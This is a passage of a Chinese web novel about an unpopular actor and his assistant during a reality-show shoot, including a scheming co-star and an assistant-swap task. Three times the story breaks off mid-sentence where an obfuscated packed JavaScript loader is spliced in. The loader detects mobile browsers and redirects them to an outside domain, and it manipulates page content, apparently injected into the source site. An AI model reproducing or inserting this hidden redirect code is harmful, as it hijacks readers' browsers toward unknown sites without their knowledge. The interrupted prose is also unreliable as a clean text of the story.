“有病?”叶幸司现在跟他说话也不客气了。 “就充一会儿。”俞悄怕导演马上就喊人,他手机只剩8个电了。 听见充上电的提示音,他将手机放回窗台上,继续跟叶幸司嘀咕:“我刚碰到蒋雨池……” 想起房间里安了摄像,俞悄警惕地瞅了眼,虽然被衣服盖住了,但是声音又盖不住。 他往叶幸司跟前挤,一手拢着嘴,凑到人家耳朵边用气声说:“我刚……” 叶幸司抬抬手臂,把俞悄挡回去。 “直接说。”他一脸无聊,“不能播的后期会剪。” “哦。” 俞悄还是不放心,压着嗓子。 “我发现他镜头里外是两个人啊?刚迎面碰见他,我寻思打个招呼,他眼神都没给我一个,就那么走过去了。” “比你还能装。” 叶幸司对于最后一句抨击不以为意,垂着睫毛听完,像是觉得俞悄的反应更有意思。 “不然呢?” 他问俞悄。 “停下给你鞠个躬,再喊你一声俞老师?” 俞悄一怔。 “不用啊。” 他认真回答。 “跟什么咖位没关系,录节目期间好歹也算同事,基本的礼貌总该有吧?助理不是人啊?” 叶幸司歪歪脖子,看着他。 “我第一次见你,你上来就夺我手机跟我合照呢,还知道说谢谢呢。” 叶幸司有点无语:“有完没完?” “就是觉得没必要刚有点名气,就太把自己当回事。”俞悄说,“万一我去网上骂他呢?万一我是他粉丝呢?” “自断活路,何必呢。” 叶幸司对于俞悄的吐槽见怪不怪,只锐评了一句:“粉丝面前他有别的人设,用不着你操心。” “你也有?”俞悄瞪起眼。 “我懒得装。”叶幸司用小腿把他扫开,揣起手机下楼。 人和人真是不能往下比。 俞悄跟在叶幸司身后,望着他的后脑勺,默默思考。 原本他觉得叶幸司很装,又没咖又耍大牌。 但是经过刚才的录制,他发现叶幸司不是对自己装,是对所有人都这个态度。 这么一个肉眼可见想火的人,什么歪招烂招都往身上使,却不会拜高踩低,见到名气大的明星,并不会做出讨好的样子去巴结。 当然了,在场也没有比他更糊的人能让他踩。 总之和蒋雨池那种人前一套,人后一套的作派相比,俞悄突然觉得,叶幸司为人反倒更真实些。 众人陆陆续续在院子里集合,蒋雨池出现时,又是那副元气满满的样子。 他挨个儿打招呼,经过叶幸司时,亲切地喊了声“叶哥”,冲俞悄也笑了下。 俞悄心里大翻白眼。 他本来不想理,见叶幸司那副满脸敷衍的模样,怕场面尴尬,麻木地挤个笑脸。 叶幸司瞅他的眼神带了点戏谑。 “礼貌,你懂个屁。”俞悄把手背到身后,朝叶幸司腰窝捣了一拳。 借菜的录制没什么困难,村里知道在录节目,都挺热情的。 有一户家里有个追星的小姑娘,见到叶幸司激动得脸通红,把菜篮子塞得满满当当,和叶幸司合影,连俞悄也合了。 要完合影,她拿了个精美的本子让叶幸司签名。 叶幸司不知道私下练了多少遍,十分熟练地签了笔龙飞凤舞的艺术字。 小姑娘捧着本子看了半天,俞悄正欣慰叶幸司还是有活粉的,就听她开心地问:“哥哥你叫什么啊?我要粉你了。” 俞悄没忍住,发出一声爆笑。 “对不起对不起,”小姑娘吓一跳,反应过来后疯狂解释,“我肯定看过他,就是突然想不起名字了……” “没事没事,”俞悄硬捡了个台阶,“我是笑他字丑。他叫叶幸司。” “不丑,不丑。”小姑娘跟他对着摆手。 叶幸司并没介意。 他脸色不红不白的,把笔盖盖好还回去,拎起菜筐向人家道谢。 从这户人家出来后,天色已经开始暗下去了。 农村的傍晚比城市凉爽,走在田垄上,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774899|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼能望出去很远,拂到脸上的晚风带着麦田和夕阳的香气,半边天都是橙红色。 “这感觉真好啊。”俞悄深呼吸,“感觉时间都变慢了。” “嗯。”叶幸司应一声,“等会儿烧十个人的饭,时间更慢。” “你这人……” 俞悄正想说他懂不懂生活,身后突然传来呼喊:“幸司——!” 他和叶幸司回头看,白桃远远地朝他们挥挥手,带着助理和跟随导演,一路小跑过来。 一群人快跑到面前时,俞悄突然注意到,白桃的菜篮子,是她助理拎着的。 他看看叶幸司拎着的一大筐菜,心里一咯噔,想起自己的身份,赶紧伸手去夺。 “我帮你拎,我帮你拎。” 叶幸司一秒就猜到了俞悄的心路历程。 他微微侧了下身,让俞悄扑了个空,就不把篮子给他。 “给他拍下来。”叶幸司朝白桃的方向迎过去,对俞悄的跟随导演说,“虚假的嘴脸。” “不是哥们儿。”俞悄都气笑了。 他死乞白赖地追着撵,硬夺了两颗大白菜抱怀里。 “呼——我远远看着像你,一起回去吧。” 白桃跑得有点喘,来到他们跟前,扶着肋下喘了口气,注意力也在叶幸司的菜篮子上。 “你们借到这么多菜啊?好厉害。” “那还有两颗白菜。”叶幸司竖起拇指,头也不回地抬手往后一比。 “啊?”白桃很有综艺天赋,立马满脸忏悔,扭头去抱自己助理的大腿。 “小果姐快把篮子给我,”她也开始夺菜篮子,“我耍大牌又被发现了。” “刚才一路都是你拎的啊!”小花旦的助理情商相当高,转着圈躲她,“你快离我远点,别害我!” “给俞悄吧。”叶幸司说。 俞悄看两个女生跑得上气不接下气,也正准备帮忙拎一下。 被叶幸司一提,反倒显得刻意了。 “快闭上你的嘴。”他撞开叶幸司,去接白桃助理的篮子。 “哎不用不用。”小果不好意思,“不重,我们的菜少。” 俞悄把大白菜搁她篮子里,拎过来:“没事,现在重了。” “哇。”白桃很综艺的拍拍手,“Gentleman.” 节目组任务是叶幸司和俞悄负责晚饭,但录着节目,一群人肯定不会真坐在那儿干等着吃。 十个人做饭,虽然七手八脚乱糟糟的,也确实快。 两大桌菜摆好,一群人边吃边配合着话题聊聊天,吃完刷锅洗碗,第一天的录制终于结束,已经过零点了。 “各位老师辛苦了,卫生间每层楼都有,可以洗澡。条件有限,房间没有独立卫浴的老师多多包涵。” 导演关机后起身提醒:“房间的摄像睡前尽量不要遮。” 嘉宾们互道辛苦,迅速脱离录制状态,各自回房间。 忙的时候没太大感觉,收了工,俞悄上楼都腰酸腿软,回到他们的小房间,他往床上一摊就再也动不了。 “看来明星也不好当。” 他半死不活地感慨。 “只要有镜头,随时都得注意言行。” 叶幸司没搭理他,拿了衣服准备去洗澡。 “你睡觉不打呼噜吧?”俞悄翻个身,撑起脑袋问,“晚上我睡里面外面?” 叶幸司捡起俞悄的背包,朝沙发上一抛。 “你睡那。” 7.第 7 章 这房间的沙发应该是淘汰下来的旧物件,看得出来打扫过,但实在说不上干净,布面上还破了几个洞。 俞悄抬头看看摄像,开着的。 “朋友。”他盘腿坐起来,给叶幸司分析,“观众都能看见,你要介意两个人睡,这会儿不应该表现出体恤助理的美好品质,把床让给我睡吗?我睡不睡床其实无所谓,主要是为了你不塌房,而且你……” 叶幸司出去洗澡,“咔”一声合上门。 “……真的很装。” 俞悄现在习惯了叶幸司这股死劲儿,倒是觉得他坦率得挺有意思。 坐在床上乐了会儿,他像个老头子一样撑着膝盖爬起来,去收拾沙发。 叶幸司一身清爽的回来时,俞悄已经躺在沙发上玩手机了。 他用换下来的脏衣服当床单,没有多余的被子,在肚子上盖了件T恤。沙发太短,他膝盖窝卡在扶手上,两条小腿半死不活的当啷着。 “找节目组再要个被子。”叶幸司说。 “不用,能睡。”俞悄再多走一步都想死,“明天再好好整整。” 叶幸司就没管他,上床盖好崭新的小薄被,美美入睡。 俞悄这一宿连梦都没做,再睁眼是被嘈杂声吵醒的。 自从干了这工作,天天都是被吵醒。而窗外天光大亮,房间里又只剩下他一个人了。 “操。” 俞悄撑着沙发坐起来,发现自己身上多了条被子。 他膝盖以下还在沙发外面挂着,动一下,关节咔咔响,小腿麻得直跳小金星。 不会要瘫痪吧。 俞悄把腿搬下来,甩甩脖子想醒神,刚一甩,他后脖颈猛地一阵刺痛,不知道抻到哪根筋,疼得眼泪险些没出来。 他不信邪,又转了一下,像被一根锥子从后脑勺攮进左侧颈,他肩膀直接抬不起来了。 落枕了。 俞悄很有经验,他上大学时落过一次,疼了好几天,但问题不大。 他像堆破零件似的,把自己从沙发上卸下来,脸都顾不上洗,先换好衣服下楼找人。 院子里非常热闹,所有人正坐在一起吃早饭,在外面借住的蒋雨池也过来了,在眉飞色舞地讲述昨晚的经历。 对面的节目组支着长枪短炮,各种镜头黑洞洞的,小李远远看见他,都被逗乐了。 俞悄硬着头皮往前走,有种上体育课迟到,在全班注视下朝队列跑的尴尬。 “哟。”卡卡啃着半截玉米,仰头喊了一声。 “醒了啊,你助理小叶已经把你的早饭准备好了。” 众人大笑,俞悄差点儿顺拐,想做个求饶的动作,肩膀还抬不起来。 “不好意思不好意思,”他跑到叶幸司身边坐下,“睡太死了。” “你怎么不喊我。”他给了叶幸司一肘子。 艾浩的助理在旁边嘀咕:“倒反天罡。” 白桃正在喝粥,笑得差点儿呛着,蒋雨池傻着脸追问:“什么意思?” 大家开始分享自己助理的趣事,叶幸司吃完了,靠在椅子上听人聊天,用两根指头弹弹一个小碗,扫到俞悄面前。 碗里是一颗水煮蛋,和两块蒸紫薯。 “等会吃,我还没刷牙。”俞悄小声说。 叶幸司“嗯”一声:“你眼上还有眼屎。” “……谢谢。” 《塌房》的录制时间计划是三周,隔几天去一个地方,前面小一周都在村里。 今天负责午饭的是白桃和她助理,问大家想吃什么,卡卡说想吃火锅,问导演能不能去镇上采购点食材,她和白桃一起做中饭。 蒋雨池一听有镜头,忙积极响应,要一起去帮姐姐们拎菜。 “那不然一起去吧。”白桃说,“浩哥和幸司去吗?” 艾浩捧着个大茶缸喝茶,摆了摆手:“我在家给你们准备锅底。” 要为了节目效果,俞悄他俩肯定得跟去,不然想也知道,这半天是没有叶幸司的镜头了。 但是俞悄今天实在不想动。 “你跟他们去?”他吃着紫薯,含含糊糊地跟叶幸司商量,“我有点落枕,懒得折腾。” 叶幸司朝他脖子上看了眼,问:“很严重?” “还好。”俞悄试着抻抻肩膀,“过两天就好了。” “幸司去吗?” 见叶幸司没吱声,卡卡扬着嗓子又问了一遍。 “不了。”叶幸司拒绝,“我留下来帮浩哥。” “嗯?”艾浩让助理去拿什么东西,闻言客气道,“没事,你去玩吧。” 叶幸司笑笑,没再回应。 大部队出发后,院子空了一大半。 艾浩没去熬锅底,他接过助理递来的白皮本子,坐进凉棚下的摇摇椅,慢悠悠的看。 估计是剧本。 俞悄把最后一口早饭塞嘴里,撞撞叶幸司的肩膀。 “想不到你还挺够义气。”他有点感动,“我落枕又不严重,没事儿。你该去就去呗。” 叶幸司莫名其妙地看他一眼,然后拎起凳子,径直朝凉棚走过去,坐在艾浩旁边。 “后面要拍的新剧吗,浩哥。” “啊,对。”艾浩点头。 去你的,合着是想跟人家聊拍戏的事儿。 俞悄尴尬地揉揉鼻子,一扭头,跟随导演扛着摄像机站在他身后。 “……哈哈。”俞悄咧下嘴。 跟随导演也咧咧嘴。 “我去找床被子去。”俞悄自言自语着溜了。 在村里的后面几天过得很平静,导演组每天安排些小任务,今天在院子里种地,明天去给村民帮帮忙,有时候再单独去录点备采。 俞悄逐渐适应后,觉得这个节目好像有点儿问题。 “我觉得导演对这个真人秀的定义不太准,跑题了。” 他坐在田埂上,摇着大蒲扇跟叶幸司讨论。 “主题既然是通过助理的角度,看真实的明星,其实更应该侧重真实的工作生活。” “这样都聚在一起做任务,能看出什么来?” 叶幸司把最后一捆麦子绑好,扔到拖拉机上,完成他们这一组今天的任务,来到俞悄身旁蹲下,摘掉手套,垂首捋了把汗湿的头发。 看看他,再看看浑身清爽的自己,俞悄讨好地递了瓶水。 叶幸司一口气灌了半瓶,把瓶子丢回俞悄怀里,起身回院子。 “能看出你什么都不是。懒狗。” 他现在已经不指望俞悄做个像样儿的助理了。 “哎呀,我这不是落枕了。”俞悄起身跟上,在屁股后头给叶幸司扇风,“下次再有体力活我全包。” 话说得好听,体力活却是干不成了。 在乡下的最后一晚,导演组给出了下一站的任务卡。 “交换艺人?” 卡卡念出任务,所有人都愣了愣。 “啊?”蒋雨池第一个做出反应,嗓子拖得十分浮夸。 白桃很茫然:“什么意思?我不能和小果一起了吗?” “不!我离不开琳姐!”卡卡和她的助理琳姐一秒入戏,假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784010|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装相拥而泣,难舍难分。 俞悄看叶幸司,叶幸司无动于衷。 只有艾浩提了个重点问题:“是换一天还是?” “我们前往下一站的方式,跟之前一样,各位自行前往。” 导演开始解释。 “但是这次,你们不能和自己的助理一起了。” “各位助理可以挑选想要同行的艺人,这一路能否适应磨合,就看你们的选择了。” 导演话音刚落,卡卡大笑着咆哮:“不是,一说可以自选艺人,你直接推开我什么意思?” 琳姐在众人的爆笑声中扑向白桃:“我愿意嫁给姐姐,哪怕是妾!” “那你就去找卡姐吧。”白桃顺势把自己的助理小果推过去。 俞悄心服口服,不愧是综艺老油条,不动声色做出最好的安排,节目效果也直接拉满。 再看叶幸司,依然那副死人样儿。 剩下艾浩和蒋雨池,也正与各自的助理大眼瞪小眼。 “我可以自己选吗?”蒋雨池起身举手。 “不可以。”导演回答得斩钉截铁,“要看助理们的意愿。” “好的。”蒋雨池掐着自己人中坐回去。 “太坏了节目组。”卡卡笑着说,“这是硬拼圈内口碑啊。” 几个大男人都挺无所谓,但就剩蒋雨池的助理乐乐是女生,年龄小,此刻看起来多少有些局促。 俞悄本来想选艾浩,见乐乐犹豫不定,就没开口。 “小姑娘先选吧。”艾浩也看出乐乐的为难,他拍拍自己助理,“小陈跟谁都行。” “那我……” 乐乐的目光在艾浩和叶幸司之间游移,刚要说话,蒋雨池不着痕迹地碰了她一下。 “那我跟艾浩老师吧。”乐乐道。 蒋雨池的小动作是在桌沿下做的,镜头拍不到,从俞悄的角度正好看得一清二楚。 他不确定自己是不是多心了,可想也能想到,跟着艾浩的镜头,绝对比叶幸司多得多。 “行。”艾浩笑笑,问助理小陈:“你是去雨池还是幸司那?” “我选叶老师。”小陈说。 “小俞哥!”蒋雨池趴在桌上遥遥向俞悄伸手,显得友善又楚楚可怜,“我们要相依为命了。” 俞悄没说话,学叶幸司那样,微微抬了抬嘴角。 上次在楼梯口,他对蒋雨池最多的是不解。 这会儿看着蒋雨池,他有些不屑。 收工回房间休息,俞悄一边收拾两人的行李,一边把刚才看到的事说给叶幸司听。 “多膈应人,”他回想一次膈应一次,“就差明着当两面派了。” 叶幸司的反应,与那天听俞悄吐槽时一样,毫不在意。 “你不生气?”俞悄简直不解。 别人八卦的时候起码配合一下吧! 叶幸司正在遮摄像头。 然后,他把节目组提供的一桌子矿泉水,包括那袋格格不入的狗粮,统统塞进箱子里。 俞悄瞠目结舌。 录个综艺把人节目组的矿泉水全带走了? “管好你自己。” 叶幸司扫荡完才开口,正气凛然的,根本看不出刚刚偷了袋狗粮。 “别看到什么逮着谁都说。” “我在替你生气,”俞悄听出他话音里的冷漠,不太舒服,“你反过来教训我?” “用不着。”叶幸司说,“见多了。” 俞悄盯他两秒,压下心头所有情绪和没说完的话,捞起手机开门出去。 8.第 8 章 摔门而出是很潇洒,关了门之后,俞悄并不知道能往哪去。 院子里还很吵闹,明天中午就要离开了,节目组在整理用不到的器械。 也不知道等他们走后,员工去收拾他们房间,发现所有饮料都被洗劫一空,得有多寒碜。 在二楼溜达了会儿,俞悄来到上次的窗前,想给周行东打个电话。 自从那天主动联系俞悄一次,后面周行东又和平时一样,俞悄不找他,他连条消息也不发。 两人上次聊天已经是前天了,还没有和周小雨聊天频繁。 ——臭丫头不把心思放高考上,成天问俞悄有什么八卦,让她哥帮忙偷拍蒋雨池。 电话没人接。 俞悄听了会儿铃声,给周行东发一张表情包,无所事事地回房间。 叶幸司已经戴着眼罩睡了,俞悄把灯关掉,滚进床边的地铺里。 下一站的录制在一座海滨城市,第二天上午,一堆人在院子里商量如何出发,几个助理把各家艺人的证件都交接过来,互相添加联系方式。 这次俞悄没遭罪,除了叶幸司,别人都坐飞机去。 节目组安排车送他们去镇上,俞悄帮着蒋雨池拎行李,听见小陈在身后“嗬”了一声。 “叶哥,你这箱子够沉的啊。” 那是,他不沉谁沉。一箱子水。 俞悄回头瞥,叶幸司跟小陈相处和睦,也没像当时对自己一样,臭着脸把行李都甩给人家。 “我东西多,辛苦啦小俞哥。” 蒋雨池带着镜头过来,十分友善。 “嗯?”俞悄笑笑,“没事。” 直到在车站分别,俞悄和叶幸司也没说一句话。 这次出行,节目组给两路人马都安排了随行录像。 蒋雨池一路活活泼泼,嘴里说个没完。听艾浩说俞悄最近落枕,送行李托运时他抢着夺着,非要自己拿。 连俞悄的行李都帮着一起弄了。 跟随导演完整地记录下这温暖的一幕。 回想起和叶幸司出门时的境遇,俞悄简直心生惶恐。 蒋雨池应该也没他想得那么不好。 俞悄开始自我反省。 在楼梯无视他,可能确实是没注意到;换助理时搞的小动作,也只是为了多点相关镜头,想火而已。 想火又不是错。 都进这圈子了,谁不是冲着想火来的。 叶幸司那些不入流的小花招耍得多多了。 心态一端正,俞悄干活都积极了,登机时主动帮蒋雨池拎着他的随身包,把蒋雨池在座位上安置好,自己才坐下。 随行导演跟他们不在一个舱,几乎所有人都在一瞬间松懈许多。 “累死了。”蒋雨池瘫在座椅里闭着眼,“给我要杯咖啡。” “现在吗?”俞悄看看还在上人的机舱通道,“等一下吧……” “你直接喊空姐就是了。”蒋雨池一皱眉,语气有些不耐烦。 俞悄定定地看他一会儿,抬手示意空姐,交涉几句,要了一小瓶咖啡。 “拧一下。”蒋雨池说。 俞悄给他拧开递过去,蒋雨池抿了抿,水量线都没见下降,他眼一闭,让俞悄拿走。 “哎,雨池。”白桃扭头喊。 “怎么了桃姐?”蒋雨池立马欠身,精神百倍地靠过去。 “郑导那个剧有你是吗?” “啊,对。”蒋雨池羞赧地抿抿嘴,“公司给我争取了一个角色,姐姐到时候多带带我。” “我还在考虑呢。”白桃攥着手机回消息,笑了下。 她一回头,蒋雨池又像死了半截似的,垮着脸躺回椅子上,还撇了撇嘴。 人有时候也不用总反省自己。 俞悄斜着眼打量蒋雨池。 刚对这人建立起的一点好感,顷刻间灰飞烟灭。 做艺人的好像都有随时入睡的本领。 航程两个小时,刚起飞十分钟,这群人都睡得差不多了,机舱内静得人不敢乱动。 俞悄连了航班wifi听歌,跟周行东有一句没一句的聊了会儿,本来想找个电影看,察觉蒋雨池醒了,他锁上手机闭眼装死。 困劲儿正缓缓上头,蒋雨池碰碰他:“哎。” 俞悄只好重新睁眼。 “你一个月多少工资?”蒋雨池小声问。 “怎么了?”俞悄看着他。 “你给他做助理,平时应该挺清闲吧?” 蒋雨池对着手机笑,语气听似不经意,话里话外满满的,全是恶意。 俞悄懒得理,朝另一边侧过头,想接着睡。 蒋雨池胳膊一横,把手机硬捣过来:“你看过这个没?” 他手机里正在播放的,是叶幸司那个角色剪辑。 俞悄注意到视频不是线上看的,而是下载下来,保存在蒋雨池的手机相册里。 2分29秒的视频,俞悄点过十好几遍,为了给播放总量凑整,但从没认真看过。 ——实在太尬了,他第一次点开就被尬得不敢睁眼。 这一次,他却在蒋雨池的手机里,伴随着蒋雨池的嘲笑声,认真看完了整段视频。 一共五个角色,三个明显是叶幸司更小的时候,五官还很稚嫩。另外两个角色,也是两年前的剧。 “看一遍笑一遍,真服了。真佩服导演没把他的镜头全部剪掉。” 蒋雨池似乎真的能从嘲笑叶幸司这件事中,获得强烈的快感。 他憋笑憋得脸都红了,肩膀一直抖,要不是怕吵醒其他人,估计能喷个大鼻涕泡。 “有你的作品吗?”俞悄问,“我想看看。” 蒋雨池颤抖的肩膀一顿,瞥向俞悄。 “挺好奇的。”俞悄真心道。 也许是预想中,俞悄尴尬讪笑、或是陪他一起嘲笑叶幸司的场面并未出现;也许是蒋雨池确实没有作品;也有可能,蒋雨池觉得一个助理没资格这么跟他说话。 他将手机拿回去,讥讽地翘着嘴角,清秀白净的面庞显得十分刻薄。 “我又不到处说自己是演员。敢拍不敢认?演技差不让说?” “你还挺忠诚。” 拖着嗓子嘲讽了几句,蒋雨池轻飘飘地补充一句:“我不用拍戏也比他火。” 句句是实话,也句句都让俞悄觉得反胃。 那些尖酸的反问与刁钻的攻击角度,问一句回一百句的攻击性,让他有种在看俞小雨微博评论区的感觉。 有个问题俞悄已经憋很久了,问出来不太合适,感觉特幼稚。 但这会儿他实在忍不住,好奇道:“你跟我说这些,不怕我告诉叶幸司和节目组?” “说呗。”蒋雨池满不在乎。 “你看他好不好意思来找我对峙,节目组会偏向谁剪辑,粉丝喷他还是喷我。送热度我巴不得呢。” “啊,不对。”蒋雨池想了想,又笑起来,“他那流量,估计想炒话题都炒不起来。” 俞悄突然就明白了叶幸司的态度,明白他为何有时看着蒋雨池的目光会显得有些不屑。 也明白了录制《塌房》时,叶幸司总让他不要跟蒋雨池计较,别把这人当个事。 ——不理他都贴上来膈应人,真要跟这种要皮不要脸的人计较,还不得先把自己活活恶心死。 俞悄气得眼睫毛直扑扇。 他跟周行东吐槽,遇到了特别恶心的同事,周行东回了个“哈哈,别跟他一般见识”。 这已经不是跟不跟他一般见识的事儿了。 这是越塔强杀,贴脸开大。 俞悄被一股气顶着,索性坐直身子给纪繁西发消息:我要给叶幸司接戏。 十分钟后,纪繁西的消息回过来:给他接戏气死观众啊? 俞悄:…… 俞悄:演技差可以练嘛。 纪繁西:哪有那么多资源给他练? 纪繁西:机会给过多少,你问他抓了吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785198|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纪繁西:怎么着,跟你告我状了?嫌我不捧他? 三句话,四个问号。 俞悄知道他这老姨一工作心情就不好,却还是头回意识到,原来不管多亲的人,只要变成“领导”,都跟神经病一样,总觉的属下在蛐蛐他。 俞悄:没有。 他跟他亲老姨没顾虑,直接把蒋雨池的丑恶嘴脸一一告知。 最后点评了句:你们这行什么风气啊,还是你们公司什么人都签啊。 纪繁西也不知看没看俞悄的长篇大论,直到飞机落地,她才不以为意地发来回复:年龄小,突然火了没个四五六,都这样。你别理他。 她给俞悄转了两千块钱,哄哄大外甥。 俞悄把钱收了,问:叶幸司也这样? 纪繁西直接懒得回了。 回到地面,跟随导演的镜头一打开,蒋雨池又切换回他阳光男孩的人格。 不过有了和俞悄在飞机上的对话,他的阳光选择普照给他人——也不跟俞悄抢行李了,也不再做出体贴助理的嘴脸,假装跟卡卡聊得火热,行李全丢给俞悄。 俞悄推着行李车跟他身后,一群人等车时,蒋雨池脑筋一转,把俞悄拉到一旁,指挥他去给众人买咖啡。 七个嘉宾两个录像,十杯,要不同口味。 等俞悄排完队,拎着两个死沉的大纸袋回来,人全都不见了。 他在原地看了圈,以为是怕一群艺人招来粉丝,换地方乘车。 刚想打电话问,助理乐乐的电话先拨了进来。 “喂小俞哥?” 一接通,对面响起蒋雨池浮夸的语调,饱含歉意与虚伪。 “刚才太乱了,我们上车把你忘啦!怎么办,叶哥知道了不会杀了我吧?” 卡卡可能是怕俞悄不知道那边正在录像,万一俞悄不高兴,说话态度不好,回头节目放出去尴尬,故意大笑道:“好好个助理交到你手上,给人弄丢了!” “没把自己弄丢呢?”艾浩也笑着说。 “我的错我的错!”蒋雨池十分诚恳。 “小俞哥我们现在上快速路了,不能掉头。要不我把地址发给你,你自己打个车过来?” “你可得报销啊。”白桃说。 “要不我去接你?”蒋雨池又问,“等我到了地方回去接你,你先找个地方等我吧。” 不知谁说了句“可拉倒,你俩再一起丢外面”,一车人都大笑起来。 遗忘一个助理,谁也没觉得是什么不得了的事儿。 如果是叶幸司把他给丢路上,俞悄高低得阴阳几句。 他知道蒋雨池是故意的,却毫无感觉。 能少和蒋雨池待在一起,他甚至感到有点儿轻松。 “啊,没事儿。” 俞悄换个手接电话,松松被咖啡袋子勒白的手掌,语气平和。 “你把地址发我吧,然后到地方,记得帮我把我行李拿进去就行。都放一起的,这个总不能忘。” 蒋雨池噎了一下,又问:“那你打车过来?” “我先不过去,”俞悄说,“去接我家艺人。” 挂掉电话,俞悄跟小李解释一声,然后找了家饭店大吃一顿,给叶幸司发消息。 俞悄:几点到。 等了几分钟,叶幸司给他发了张行程截图,三小时后到高铁站。 俞悄出门拦车,拎着两大袋咖啡坐进去,继续打字。 俞悄:叶幸司,我要让你火。 这次叶幸司回得挺快。 点开消息前,俞悄以为根据叶幸司那个叼毛性格,十有八九会回个问号,或是嘲讽一句“先把你的助理干明白再说”。 结果看清叶幸司的回复,他整个人愣了愣。 叶幸司:被欺负了? 俞悄对着手机看了半晌,又看看勒痕交错的手心,还没完全恢复的脖子一抽一抽泛着酸。 他把微信点开又关上,关上又点开,最后吸溜一下鼻子,闭上眼窝进座椅里。 9.第 9 章 下车时,俞悄送给司机一杯咖啡。 他没有进站去等,过安检要把携带的液体饮料尝一口,他不敢想自己掏出九杯咖啡,一杯尝一口得有多滑稽。 出站口对面有个小公园,俞悄找了个视角好的长椅,拍张照片发给叶幸司,安安稳稳的坐等。 身边没有二十四小时环绕的摄像头,不用应付一堆人嘈杂虚假的相互客套,他闻着青草味儿,望着前方的车水马龙,跟俞小雨吐槽点八卦,轻松得差点儿睡过去。 叶幸司和小陈推着行李箱过来,第一眼就看见他身边那两只大纸袋。 “还拎东西来接呢。”小陈说。 俞悄也没解释,笑笑,给他拿了杯咖啡。 “这么多?”小陈一看袋子里全是,指指另一袋,“也是咖啡?” “啊。”俞悄拎拎袋子,“给一群人买的,没赶上他们的车,干脆来找你们了。” 小陈入行五六年了,一听俞悄这话,心里就猜了个八九不离十。 他也不好说什么,一瞬间有点尴尬,手里的咖啡喝也不是不喝也不是。 “你快喝。”俞悄被他的反应逗乐了,“喝完再续,多帮我解决几杯。” “多沉啊。”小陈轻轻“啧”一声,“你也是实诚,还拎着,扔掉不就好了。” 扔? 叶幸司穷得连节目组的水都要带走,十杯咖啡二百来块呢,被他知道不得心疼死。 俞悄看向叶幸司,打开袋子让他挑:“你喝什么?” 叶幸司一直没说话,戴着他那副骚包的大墨镜,透着股漫不经心的劲儿。 “说话啊,又不会有粉丝,装什么酷。” 俞悄给他拿了杯拿铁:“给你这个吧。” 叶幸司没挑口味,也没接俞悄递来的咖啡。 他拨开袋子看了眼,手一提,把两个大纸袋拎起来,搁在不远处的垃圾桶上。 然后他把自己的箱子推给俞悄,去找接站的工作人员。 “走吧。” “哎你……”俞悄没反应过来。 “扔就扔了吧。”小陈忙拉住俞悄,“没扔垃圾桶里,有拾荒的捡去也能喝。” 走出去好几米了,他还是没忍住捣了俞悄一下:“受那闲气干嘛。” 俞悄感到浪费的同时,也不得不承认,叶幸司这一扔,让他心里痛快了不少。 第二段的录制地在一处靠海别墅,位置挺偏,从高铁站过去,足足要一个小时。 叶幸司一路没说几句话,到地方后,他让俞悄和小陈去附近的星巴克取咖啡。 “什么咖啡?”俞悄一愣。 “你去就行。”叶幸司把订单截图给他。 加上工作人员,叶幸司凑整,一共订了三十杯。 这次足有五个袋子。 别墅里其他嘉宾们已经各自安置好了,正围坐在一起吃火锅。 叶幸司进来后,一群人简单打声招呼,艾浩夹着一筷子羊肉招呼他们:“快来吃,给你们留着菜呢。” 卡卡第一个发现俞悄拎的咖啡,一秒戏精上身,起身做出迎宾状:“来就来呗,你看还带东西。” 叶幸司笑笑,让俞悄给大家分一下。 一群人乐呵呵地领了咖啡,工作人员们最开心,有几个活泼的连“叶老师”都喊上了,东一句谢谢叶老师请咖啡,西一句叶老师真好。 蒋雨池眼珠滴溜转,刚想说什么,叶幸司先开了口。 “不算我请的,蒋雨池请的。” “在机场他让俞悄去给大家买咖啡,俞悄手脚慢,没赶上车。拎回来都凉了,我就重新订了一份。” 叶幸司语气很平淡,一边说话,一边去洗了手,找了个位置坐下准备吃饭。 众人的神情却微妙变幻起来,目光似有若无的,都往蒋雨池脸上瞟。 蒋雨池到底年龄小,沉不住气,听叶幸司这么一说就慌了。 “我也没……当时确实是忘了,”他忙解释,“太乱了,我以为小俞哥上车了呢,我不是……” 一句话打了几个磕巴也没能说通畅。 俞悄看他连说带比划,脖子都红了,憋了一下午的窝囊气瞬间一扫而空。 爽! 这种靠粉丝支持的小爱豆最在意人设,一个说不好,苛待助理那可就成黑点和罪名了。 他肯定没想到叶幸司能来这一手,一时间没想好说辞,可不得急死。 白桃想帮他解围,干巴巴地“啊”了一声,也不知道说什么好。 